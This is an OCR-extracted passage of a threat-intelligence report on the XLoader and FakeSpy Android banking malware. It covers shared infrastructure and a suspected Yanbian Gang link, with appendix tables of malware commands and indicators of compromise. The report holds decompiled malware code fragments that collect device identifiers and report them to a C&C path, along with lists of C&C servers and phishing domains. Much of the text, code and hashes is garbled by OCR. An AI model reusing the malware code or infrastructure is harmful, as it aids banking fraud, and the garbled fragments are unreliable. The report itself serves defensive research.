The data on the location distribution of victims show that South Korea, Japan, Vietnam, and Turkey were

the most affected countries, followed by Indonesia, Pakistan, India, Bangladesh, and Czech Republic,
among others.
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Figure 41. Location distribution of XLoader and FakeSpy victims on August 28, 2018
(taken from the log of accessed malicious email provider)

XLoader and FakeSpy both target online banking users. Our analysis found that the malware phished an
average of around 50-60 banking account credentials per day. The stolen banking account credentials

included card numbers, passwords, names, addresses, and dates of birth, among other PII.

Based on the number of victims and affected regions from early this year to October, the global impact of
XLoader and FakeSpy attacks continues to grow rapidly. As we continue to monitor the threat landscape
to craft stronger defenses against mobile threats and other forms of cybercriminal threats, we closely
examined the two malware families’ malicious activities, leading to the discovery of XLoader and FakeSpy’s

connection.
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The Connection Between
XLoader and FakeSpy

We first noticed the connection between XLoader and FakeSpy when the former was seen disguised as
a legitimate app of a major home delivery service company in Japan in June 2018, which is a deception

tactic FakeSpy has used. We learned that they use the same infrastructure to deploy malware.

On July 20, 2018, while searching for an XLoader sample (SHA256: bf0ad39d8a19b9bc385fb629e3227
dec4012e1f5a316e8a30c932202624e8¢e0e) on VirusTotal, we found that the sample was downloaded
from hxxp://I-zz[.Jlcom/I ]apk, a fake domain of the Japanese home delivery service company

mentioned above.

File name = i 2 pk

33 engines detected this file °
SHA-256 bf0ad39d8a19bobc385fb620e3227dec4012¢e1f5a316e8a30c932202624e8e0e

429.88 KB

N Lastanalysis  2018-08-20 23:55:42 UTC
)
(33/61)

]
Detection Details Relations _.,\ Behavior Community

Graph Summary v

Figure 42. VirusTotal showing details of an XLoader sample coming from a domain
posing as that of a Japanese home delivery service company’s

On August 27, 2018, while analyzing a FakeSpy sample (SHA256: ba5b85a4dd70b96f4a43bda5
eb66e546facc4e3523f78a91fc01c768c6de5c24), we discovered that the domain it was downloaded from
was hxxp://IR-zz[.Jcom/I[.]apk. A look into multiple XLoader and FakeSpy samples showed

the same results.
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Figure 43. A FakeSpy sample was found to have been downloaded from a fake domain
of the said major home delivery service company in Japan.

DOMAIN INFORMATION

Domain S wE-ZZ COM

Registrar Chengdu West Dimension Digital Technology Co., Ltd
Registration Date: 2018-07-18

Expiration Date 2019-07-18

Updated Date: 2018-07-18

Status ok

Figure 44. The domain was registered on July 18, 2018 and
will expire exactly one year after its registration date.

The fact that XLoader and FakeSpy also used the same method to hide their real C&C addresses could
also indicate that they are either being operated by the same threat actor group or that their operators are
affiliated with each other. As mentioned in the early sections, XLoader versions 1.0., 2.0., and 3.0 used
a social media user profile page (see Table 10 for the complete list of profiles used by XLoader versions
1.0, 2.0, and 3.0) to connect to its C&C server. Meanwhile, FakeSpy also used made-up social media user
profiles to hide its C&C server address in its early variants. Note: Through our active cooperation with the
companies that own the involved domains mentioned in this research, all user profile pages and accounts

have been blocked.

(I P 5 5 040 £ 8 6 6 GRS 090 posts E’_f==.:

Figure 45. XLoader hiding its real C&C address in a social media user profile
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Figure 46. The IP address is written on social media profiles, always starting with A" and ending with $$.
Once launched, the app will access the page and parse contents to get the real C&C address.

The Connection to the Yanbian Gang
Over the course of our research, we discovered that the operators behind FakeSpy, and possibly XLoader,
may be connected to the Yanbian Gang — a Chinese cybercriminal group that steals money from account

holders of South Korean banks.

Fake versions of apps from South Korean banks and the ones FakeSpy posed as targeted online banking

users in Japan and South Korea. We also learned that both attackers used malware with similar code:

public static String a(Context arg6) {
int v5 = 3;
int v4 = 2;
StringBuilder v2 = new StringBuilder();
Object v@ = arg6.getSystemService( " phone”);
string vl = ((TelephonyManager)v@).getLinelNumber();
String v@_1 = ((TelephonyManager)ve).getSimSerialNumber();
if(vl == null || (vli.equals(""))) {
if(ve_1 != null && !ve_l.equals("")) {
v2.append(ve_1);
}

ve_1 = v2.toString();
}

else {
if(vi.startsWith("+86")) {
v@_1 = vl.substring(v5);

}

else if(vl.startsWith("86")) {
v@_1 = vl.substring(v4);

}

else {
ve_ 1 = vl;

}

if(ve_1.startsWith("+82")) {
ve_1 = v@_1.substring(vs);

}

else if(ve_1.startswith("82")) {

ve_1 = v@_1.substring(v4);
}

v2.append(ve_1);
ve_1 = v2.toString();
b

return ve_1;

Figure 47. Code from a Yanbian Gang app
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publlc statlc String getMachine(Context arg8) {
v5;

int v7 = 3;
int v6 = 2;

der v4 = new StringBuilder();
args getSystemServ1ce( phone™);
Jv2).getLinelNumber();
B ( Jv2).getSimSerialNumber();

1F(v3 == null || (VS equals( WM {
ing = ((Telephc ager)v2).getDeviceId();
1f('T—='I'iﬁ stmpty(( arSequence)v@))) {

v4.append(ve);

return v4.toString();

if(vi != null &8 !vi.equals("")) {
v4.append(vl);

if(v4.toString().length() == @) {
v4.append("123456789");

v5 = v4.toString();

}

else {
if(v3.startsWith("+86")) {
v3 = v3.substring(v7);

}

else if(v3.startsWith("86")) {
v3 = v3.substring(v6);

}

if(v3.startswith("+82")) {
v3 = v3.substring(v7);

else if(v3.startsWith("82")) {
v3 = v3.substring(vé);
}

v4.append(v3);
v5 = va.toString();

}

return v5;

Figure 48. Code from a FakeSpy app

publzc final void run() {
JSONObject v@ = new JSONObject();
trv {
v@.put] "mobile”, d.a(this.a.getApplicationContext()));
v@.put] “machine”, B HODEL),
V. put]"sv ERSTON.RELEASE);
ve.put| "bank", q.t(th)s a));
v@.put] “provider” ) n.a(this.a));
vo.put il Ty |
q.a(5tring.valuedf(a.g) +

ersion” } B

(\"json\":\"" + q.a(v@.toString()) + "\"}");

"/servlet/OnLine"

}
catch(JSONException v _1) {
v@_1.printStackTrace();

}
¥
L () {
publl( void run() {
t vl = new T ()
try {
vi.puf(“m e”, Stjtil.getMachine(MainActivity.this.getApplicationContext()));
vi.puf( e”, BRild.MODEL);
vi.puf(“sv ion", i1ds . RELEASE);
vi.puf(“bank™, “");
vi.puf(“p ider”, PetUtil.getProvidersMame(MainActivity.this));
vi.puf(“npki=, "1
StUtiITPUTTTTONTI S Thactivity. this, MainActivity.this.sp.getValue( L, json + Stutil.stringTolson(vl.toString()) + i H
catch(

. ve) {
ve. p»intsta:krracr(l.
}

}
}.stare();

Figure 49. The malicious app from the Yanbian Gang (top) and a FakeSpy sample (bottom) share similar
metadata containing the infected devices’ information and C&C server path.
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WHOIS results also revealed that the registrants of FakeSpy and XLoader’s shared malicious domains —
for the fake apps of a Japanese home delivery service company — were from China. The phone numbers
of the registrants appear to originate from the Jilin Province, which was pinned as the location of Yanbian

Gang members.

With that information on hand, we can speculate that the Yanbian Gang has some sort of connection
to FakeSpy and XLoader due to their common denominators, which are the said fake and malicious
domains. However, that is still not enough to conclude that the operators behind XLoader and FakeSpy
are the same. It could just be that two different sets of threat actors or groups are using the same service

or infrastructure to deploy malware, or other plausible scenarios that are yet to be clarified.

Nevertheless, the prevalence and evolution of XLoader and FakeSpy, regardless of who are running their
operations, should remind users to always exercise best practices on mobile security, especially since the

mobile platform continues to be a popular target by increasingly sophisticated threats.

31 | The Evolution of XLoader and FakeSpy: Two Interconnected Android Malware Families


https://www.trendmicro.com/vinfo/us/security/news/mobile-safety/best-practices-securing-your-mobile-device

Conclusion

XLoader and FakeSpy underwent several changes or modifications in their attack vectors, targets, behavior,
and infrastructure, among others, since they first emerged. These malicious efforts are a testament to the

cybercriminals’ determination to improve their strategies.

Our monitoring efforts on XLoader and FakeSpy over the past few years revealed their connections and
similar patterns, providing us with possible ideas on the identity of these mobile malware families. As the
infection count of XLoader and FakeSpy infection continues to rise, this discovery could be significant to
users and enterprises because awareness, as always, is the first step in defending against cybercrime,

regardless of the platform.
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Appendix

Package names

com.wooribank.pib.smart com.hanabank.ebk.channel.android.hananbank
com.kbstar.kbbank nh.smart

com.ibk.neobanking com.epost.psf.sdsi

com.sc.danb.scbankapp com.kftc.kjpsmb

com.shinhan.sbanking com.smg.spbs

Table 3. List of legitimate banking apps XLoader version 1.0 targeted

Package names

com.casdh.adpc.woori.ksr.androidd.apd com.hada.godle.kr.chcnnel.koreaa.app
com.kr.androids.good.kbstar.kbbkings.app com.weds.googsle.ndhb.krs.bk.app
com.ibk.koresa.krc.androidss.ibkking com.androdid.post.fspcs.kdr.wsu.sdsi

com.godog.sc.androidd.daddbdkr.scbandkapp com.kr.andrsoid.ftkc.kjb.sdsdsmb.app

com.andrdoid.googdle.shinhasnbbk.krs.app com.asndroisds.kr.kf.androdids.smd.spb

Table 4. List of malicious banking apps XLoader version 1.0 attempts to install on affected devices

ssms Send preset SMS text from C&C server to all contacts in victim’s device
wifi Enable or disable Wi-Fi connection

gcont Collect all the device’s contacts

up Update itself, download and reload payload

Ick Lock victim’s device

bc Collect all contacts from the Android device and SIM card

Table 5. Other modules and functions XLoader Version 1.0 executed

sendSms Send preset SMS text from C&C server to all contacts in victim’s device

setWifi Enable or disable Wi-Fi connection

gcont Collect all the device’s contacts

lock Lock victim’s device

bc Send SMiShing messages to contacts

setForward Currently not implemented, but can be used to hijack the infected device

getForward Currently not implemented, but can be used to hijack the infected device

hasPkg Check the device whether a specified app is installed or not

setRingerMode Set the device’s ringer mode

BTG Get a detailed phone connection status, which includes activated network
and Wi-Fi (with or without password)

showHome Force the device’s back to the home screen

getnpki Get files/content from the folder named NPKI (contains certificates related to
financial transactions)

Table 6. Modules and commands XLoader version 2.0 used
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Package names

com.casdh.adpc.woori.ksr.androidd.apd
com.webzen.muorigin.google

com.ncsoft.lineagem19

com.ncsoft.lineagem
kr.co.neople.neopleotp

Table 7. List of malicious gaming apps XLoader version 2.0 tried to install on affected devices

Modules Functions

sendSms Send SMS/MMS to a specified address

setWifi Enable or disable Wi-Fi connection

gcont Collect all the device’s contacts

lock Currently just an input lock status in the settings (pref) file, but may be used
as a screenlocking ransomware

bc Collect all contacts from the Android device and SIM card

setForward Currently not implemented, but can be used to hijack the infected device

getForward Currently not implemented, but can be used to hijack the infected device

hasPkg Check the device whether a specified app is installed or not

setRingerMode Set the device’s ringer mode

setRecEnable

Set the device’s ringer mode as silent

Get a detailed phone connection status, which includes activated network

reqState and Wi-Fi (with or without password)

showHome Force the device’s back to the home screen

getnpki Get files/content from the folder named NPKI (contains certificates related to
financial transactions)

http Access a specified network using HttpURLConnection

onRecordAction Simulate a number-dialed tone

call Call a specified number

get_apps Get all the apps installed on the device

show_fs_float_window

Show a full-screen window for phishing

Table 8. Modules and functions of XLoader version 3.0

Package names

com. ]I android.bfwallet jp-co. I .iibunmain
com. [ IIEGEGNR ip-co. I banking
X jo I 2pplisp.app
jp.co. . direct i EEhA

jp.co I stapp.balance io. . android
ip-co. . android.passbook i . appE9C4BOE4
jp.co. . android mobi. Iz

ip-co. IR net. I sbw

Table 9. FakeSpy version 2.0 target app list
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User profile pages
hxxp://m[.] L 1com/profile?hostu| 70641 hxxps://JJ.lcom/abfdbnas3

hxxp://m[.] L com/profile?hostul 8287

hxxps://JJcom/asbfdee1

hxxp://m(.] L 1com/profile ?hostu 43420
hxxp://m.] L 1com/profile?hostu I 6443
hxxp://m[.] L com/profile?hostu o5 104

hxxps://J.Jcom/cdvsvia2
hxxps://www[. ]l Jcom/p/asdfwsqewq2e12/detail
hxxps://www[.] . lcom/p/dajiahao188384/detail

hxxp://m[.]-[.]com/ profile?hostu_04773 hxxps://www[.]-[.]com/ p/dsvbfbfxzcv/detail
hxxp://m[.]-[.]com/profiIe?hostu-771 03 hxxps://Www[.]-[.]com/p/fﬁbxvfd/detaiI
hxxp://m[.] L com/profile?hostu | B 7373 hxxps://www[.] L. lcom/p/haoxingfu12389/detail

hxxp://m[.] L com/profile?hostu 02325
hxxp://m[.] L com/profile?hostul  B0974

hxxps://Www[.]-[.]com/p/haoxingfu366/detai|
hxxps://www[.]-[.]com/p/haoxingfu669/detai|
hxxps://www[.] Il lcom/p/nacxingfu671/detail
hxxps://www[.] [l lcom/p/naoxingfu679/detail

hxxp://m.] L Icom/profile?hostul G 9241
hxxp://m[.] L com/profile2nostul o074

hxxp://my[.]_[.]com/user/329505231 hxxps://Www[.]-[.]com/p/haoxingfu88/detai|
hxxp://my[.]_[.]com/user/329505325 hxxps://www[.]-[.]com/p/wokaixin1 58998/detail
hxxp://my[.]_[.]com/user/329505338 hxxps://Www[.]-[.]com/p/womenhao1 83527/detail
hxxp://my[.]_[.]com/user/331 035489 hxxps://Www[.]-[.]com/p/ceshi9875/detai|

Table 10. List of user profiles XLoader version 1.0, 2.0 and 3.0 used to hide their real C&C address

Email addresses

a4047894440@gmail.com haoxingfu11@outlook.com
a4047894441@gmail.com haoxingfu22@outlook.com
a4047894442@gmail.com haoxingfu33@outlook.com
haoxingfu11@aliyun.com kelexuebi0001@aliyun.com
haoxingfu22@aliyun.com kelexuebi0002@aliyun.com
haoxingfu33@aliyun.com kelexuebi0003@aliyun.com

Table 11. List of email addresses XLoader versions 4.0 and 5.0 used to hide their real C&C address.

Social media user profile pages

hxxps://twitter[.Jcom/luckseven4 hxxps://twitter[.Jcom/sekadeta
hxxps://twitter[.Jcom/tuwoeiwa1 hxxps://twitter[.Jcom/SevenSeven5257
hxxps://twitter[.Jcom/siumakuaw

Table 12. Social media profiles FakeSpy used to hide its rea | C&C server address
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220.136.78.40

XLoader’s C&C servers
36.225.156.217:28832

Indicators of Compromise (loCs)

1.162.98.240:28833

220.136.73.107

36.225.156.160:28833

114.44.216.165:28833

36.226.15.70:28833

1.160.167.127:28833

114.43.176.103:28833

36.226.12.193:28833

1.160.166.73:28833

114.43.178.217:28833

36.226.10.17:28833

1.160.165.234:28833

114.36.131.220:28833

36.226.2.59:28833

1.162.110.64:28833

114.36.135.148:28833

36.226.8.173:28833

1.162.106.248:28833

118.169.114.60:28833

36.225.156.217:28833

1.162.100.134:28833

FakeSpy’s C&C servers

103.26.76.73 118.169.187.192 211.74.227.131
jppost.picp.io 118.169.187.223 111.250.155.191
I =dmin.vicp.hk 36.225.14.226 36.225.56.226
tiserver3.gnway.cc 36.225.187.95 118.169.184.117
I .onway.cc 36.225.189.69 175.182.22.160
mydocomo.gnway.cc - cb.gnway.cc 118.160.123.36
houtaijp.gnway.cc I vcb.gnway.cc 118.168.59.199
Iio.gnway.cc 118.160.115.202 36.225.112.45
tijiao.gnway.cc 36.227.130.2 118.169.186.248

tijiao3.gnway.cc

111.250.157.50

142.252.251.38

118.169.187.22

61.230.103.80

142.252.249.46

118.160.114.244

59.105.6.230

67.229.35.227

118.160.118.88

118.160.115.74

142.252.249.58

118.168.60.40

118.166.129.184

XLoader’s deployment domains

118-168-201-70.dynamic-ip.hinet.net 61-228-186-229.dynamic-ip.hinet.net
118-169-226-219.dynamic-ip.hinet.net 61-228-190-221.dynamic-ip.hinet.net
220-136-182-72.dynamic-ip.hinet.net fa3313.com
220-136-77-219.dynamic-ip.hinet.net fa6616.com
220-136-80-249.dynamic-ip.hinet.net haoxingfu01.ddns.net

43.240.14.44

suryaglodok.com

FakeSpy’s deployment domains

- aata.com ¢ df.com I po.com
I 2sc.com I d=.com I ppiu.com
I-ata.com I ce.com I pz.com
I -bngg.com - cfef.com I -ci.com
- dfge.com I-cuo.com - coa.com
I -<xppress.com I -cc.com I -cod.com
= xp-ress.com I -ccxpress.com I -cof.com
exp- Il .com I <feh.com I cog.com
japanpost.oicp.io IH-cs.com - coh.com
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FakeSpy’s deployment domains

io- Il onway.cc I-<cxgg.com - coi.com
Il oicp.io I -<xp.club - coj.com
I qicp.io =P .gnway.cc - cok.com
I o0 - xp.gnway.cc I-col.com
I vicp.io I <xp.gnway.cc I com.com
I vio I -<xp.top I con.com
I xicp.io Il -xp.vicp.io I cco.com
- com I -<xpge.com I cop.com
- 22¢.com I-<xp-ip.com - car.com
- 2ako.com I-cxprb.com - cos.com
- 2aku.com I-xpshg.com I -cot.com
I-2atsu.com I -<xtt.com - cou.com
- 22u.com I-cxwe.com I-cov.com
I ab.com I -cxxc.com I cow.com
I aba.com I cxzz.com I cox.com
I abe.com I fsag.com I coy.com
I =bi.com I fsdh.com I coz.com
- 2bo.com I -fssdf.com I-re.com
I -abu.com - fswe.com I -ri.com
I 2d.com I-fu.com I-rqa.com
- ade.com I-oa.com I-rad.com
I-adi.com - od.com - rae.com
I aco.com I oche.com I -of.com
I-2du.com - gert.com - rco.com
I -ac.com - of.com - roh.com
- ag.com - ofde.com I-rqi.com
- aga.com I oo.com I-rqj.com
- age.com I ch.com - rak.com
I-agi.com - gj.com I -rql.com
I-20u.com - ok.com - rco.com
I-2h.com - o!.com - rap.com
- aha.com - co.com I-raq.com
I-ai.com - orde.com I-rar.com
- ak.com - os.com - ros.com
I 2ka.com I ox.com I rqt.com
- 2ke.com I-oz.com I-rqu.com
- aki.com I -ha.com - rqw.com
- 2ko.com - hfie.com - rqy.com
- 2ku.com I -hu.com - ru.com
- ami.com - ihkl.com I -s2.com
I-amu.com - ij.com I-sdth.com
I-an.com Iic.com I-sdge.com
- ana.com Iio.onway.cc I -sc.com
- ane.com I ka.com IH-si.com
I-ani.com I ke.com I -so.com
I ano.com I -«i.com I-sos.com
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FakeSpy’s deployment domains

I -z0.com I-«o.com I -soso.com
- 2pp.com - 'ekw.com I -ss.com
I-apple.com I-li.com I -su.com
I-ar.com I-ma.com I-support.com
I ara.com I e.com I supports.com
I-are.com I-m.com I-ta.com
I ari.com I me.com I tq.com
I-aro.com - mi.com - twwy.com
I-aru.com - mo.com - use.com
I as.com - mp.com - uses.com
I -as2.com - mg.com - /f.com
I-ashi.com - mr.com - 9.com
I -2s0.com - mt.com - h.com
I -aswe.com I -mu.com IH-vi.com
I-at.com - w.com - k.com
I-ate.com I-y.com H-'.com
I-ato.com I-o.com - va.com
- atsu.com I -a.com - vow.com
I-au.com I ni.com - vqtw.com
I-2v.com I no.com - vu.com
- 2va.com I ns.com - 2.com
I-ave.com I ru.com IH-yicom

I avi.com I obo.com I yo.com
-2 wo.com I -co.com I-yr.com
I 2y.com I or.com I -ytow.com
I-2y2.com I oro.com I z2.com
I-az.com I otqw.com I zc.com
- 2za.com I -otgwt.com I ze.com
I -2zi.com I -ottt.com I zo.com
- 2z0.com I -otvb.com I -zu.com
I ba.com I -ouiu.com I-zv.com
I -bb.com I p.com I zx.com
I -bbg.com I pa.com I <p.gnway.cc
I -bi.com I -pasif.com smartxpay.kr

I bu.com I -pi.com sO-JJl.com
I byb.com I ok.com www. Il top
I -co-jp.com I -o'.com www.JJl-ss.com

Deployment domains shared by XLoader and FakeSpy

expre-JJl.com I-<xpsd.com I -cob.com
expres-JJl.com I-<xpuu.com I-coc.com
exp-l-exp.com I -<xpwhs.com I coe.com
I <xp.com I <<px.com I coq.com
I -<xpress.com - <xxpress.com - \wve.com
I -<xp.com - fghe.com I -cwi.com
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Deployment domains shared by XLoader and FakeSpy

< xpress.com - ofer.com - o wo.com
- 2achi.com I -orr.com - wp.com
I-2ai.com I -<k.com I-cwa.com
- 22ka.com I-.com I-ovr.com
- 22k.com I rb.com - wt.com
- 2aki.com I -c.com - owu.com
- 220.com I nd.com - ww.com
I 2asa.com I f.com I o vy.com
- 2as.com I ng.com I -sop.com
- 2ase.com I -nj.com I -te.com
- 2ashi.com I rk.com I-ti.com
- 2as0.com I n.com I-to.com
I-anu.com I-rv.com I-tp.com
- aze.com I z.com I -tr.com
- 2asu.com I -ore.com I-tt.com
- 2at.com I -otfd.com I-tu.com
I:=-<xp.com - othh.com I-tw.com
I:=-<xpress.com I -otpe.com I-ty.com
- 20d.com - otgc.com - v.com

I -bnsg.com I -otvbd.com - *x.com

I -brwe.com I -otww.com - tog.com
I -cc.com I -pasi.com I zz.com

I -cp.com I pcs.com I-<xp.com
I -c'br.com I pfe.com I -<xpress.com
I -c.com I -pop.com I-<xp.com
I -c-xp.com I -pop.com I -<xpress.com
I-<x-p.com I cce.com SI-exp.com
I-cxpmd.com I -cei.com SIl-express.com
- cxpope.com - cco.com www-JJJlll-exp.com
I -<xpr.com I-cep.com - aata.com
I-<xpre.com I-ccq.com I-asc.com
I-<xpreess.com I cer.com I-ata.com
I-<xpres.com I-cct.com I -bngg.com
I-<xp-ress.com I -ccu.com - dige.com
I-<xpresss.com I-ccw.com I-<xppress.com
I-<xprress.com I ccy.com Il xp-ress.com
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FakeSpy’s other phishing domains

abnormal-J I .com my-belp.com I« com
account-j . com my-ip-com I -=0p.com
- o my - -ip-com I o
app- I com my-Jl-security.com I com

a- I .com my-securitys.com I otice.com
B-security.com my--securitys.com I roticw.com
B-securitys.com my-service.com I -sccuritys.com
B-service.com my- - top services-Jlllcard.com
B-support.com my-scvice.com smt-ntt-JJl.com
bank-| | .com my-Jl-support.com I scrvice.com
b- . com myl-supports.com I scrvices.com
c- com my-use.com I soe.com
- 2pp.com my - uses.com I soce.com
- sccurity.com n- com I socw.com
I -scrvices.com ntl-security.com [ e
d-II com ntl-securitys.com I sos.com

- com ntl-service.com I -sow.com
-l .com ntl-services.com s pport.com
o com ntll-support.com I s pports.com
h-E.com ntll-supports.com I gent.com
ico- . com nttocn. JJl.cc - sc.com
ico-JJl.com o-J . com I o
ico-coin-z.com password -l .com sos-J.com
ico-JJ Il com protect-|.com s com
id-my-J . com o-J.com support-JJl.com

id- . com a- I com support-my.com
important-j . .com [ 1 e supports-J . com
I sccurity.com I -cad time-| N .com
- com - c=d-security.com - . com

k- com I card-securitys.com urgent-J N .com
- .com Icard-services.com user-| I .com
M- com Icard-support.com u- com
my[ll-securitys.com - c2rd-support.com v-I com
my[jl}-security.com - usc.com wallet-security.com
myll}-securitys.com r- . com w-J.com
myll-support.com secuitys-|J ]l .com wwwillllllllip.com
myid-] . com security-my[.com - donation.com
my-nttl.com security -] .com I sccuritys.com
my . com securitys-JJJJJill.com v- I com

my . com securltys-myj . com z- I com

my- I site securltys--my /| .com
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